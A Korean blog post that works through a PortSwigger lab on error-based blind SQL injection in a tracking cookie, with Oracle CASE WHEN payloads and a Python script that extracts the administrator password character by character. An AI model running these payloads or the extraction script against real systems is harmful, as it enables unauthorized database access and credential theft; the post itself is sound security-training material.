blind SQL injection by triggering conditional errors

2025. 6. 21. 22:10Web Security/bugbounty & PortSwigger

포트스위거에서 해당 문제를 풀기로 하였다. 

 

리스폰스 관련된 값도 없고, 아무런 내용이 없을 때 에러를 base로 하여 404인지 혹은 200인지 http reponse 만으로 해당 데이터이스의 내용을 추출하는 것인데 과연이라는 생각이 들었다.

 

Lab: Blind SQL injection with conditional errors

 

다음과 같이 설명이 있다. 일단, cookie를 트랙킹하기 위해서 sql 문을 사용한다고 한다. 

 

다음과 같이 TrackingId를 보면 해당 부분을 통해서 트랙킹 하고 있다는 사실을 알 수 있으면 TrackingId=a'; 해당 부분에서 에러가 발생됨으로 sql injection 취약점이 존재한다는 사실을 짐작할 수 있다. (TrackingId=a' -- )

 

Cookie: TrackingId=a'||'a; 다음 과 같은 요청을 보냈을 때, 200 status code가 나타났다. 이는 Oracle 혹은 PostgreSQL 라는 것을 예측할 수 있다.

 

https://portswigger.net/web-security/sql-injection/cheat-sheet

 

Oracle 혹은 PostgreSQL 를 구분하는 방법은 아래와 같다.

 > a'||(select '1')||'a 

> a'||(select '1' from dual)||'a

 

이중 아래 sql구문을 넣었을 때 200이 뜬다면 오라클이다. 일단 해당 DB는 오라클이다.

 

이제 오라클에서 발생되는 에러를 기반으로 200 혹은 500 의 차이를 통해서 blind sql를 실행하면 된다.

 

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

 

위의 코드에 따르면 CASE WHEN 조건  THEN <TRUE> ELSE <FALSE> 이기 때문에 조건 TRUE면 에러가 발생된다.

 

아래와 같은 페이로드는 password 의 첫 글자가 a 이면 상태 코드 500이 return 된다.

TrackingId=xyz'||(select case when substr(password,1,1)='a' then TO_CHAR(1/0) else '' end from users where username='administrator')||'

 

 

일단 blind sql 를 진행하기 위해서 우리가 알아야 하는 페이로드의 길이 를 아는 것이 중요하다. 아래와 같은 페이로드를 통해서 password의 길이가 20임을 알 수 있다. 

TrackingId=xyz'||(select case when LENGTH(password)=20 then TO_CHAR(1/0) else '' end from users where username='administrator')||'a;

 

 

 

 

자 이제 python 코드를 짜서 비밀번호를 알아내면 된다. ㅎ

import string
import requests

url = "https://0a9a0066035bd451804f1225002f009a.web-security-academy.net/filter?category=Food+%26+Drink"
s = string.ascii_letters + string.digits
password = ""
for pos in range(1, 21):  # 20자리까지 시도
    for i in s:
        payload = f"xyz'||(select case when substr(password,{pos},1)='{i}' then TO_CHAR(1/0) else '' end from users where username='administrator')||'"
        cookies = {
            "TrackingId": payload
        }
        response = requests.get(url, cookies=cookies)

        if response.status_code == 500:
            print(f"[+] Found character at position {pos}: {i}")
            password += i
            break
print(password)

 

case when then end 이 구문을 알고 있으면 if 문처럼 사용할 수 있고 blind sql에 상당히 용이하겠다. 일반적인 error base sql injection 의 경우 해당 구문?에서 딱 error가 발생되면서 해당 sql이 실행된 결과를 추출하는 방식인데, 이외에도 error를 일부로 유도하여 blind 상황에서 sql injection을 할 수 있다는 것을 알게되었다.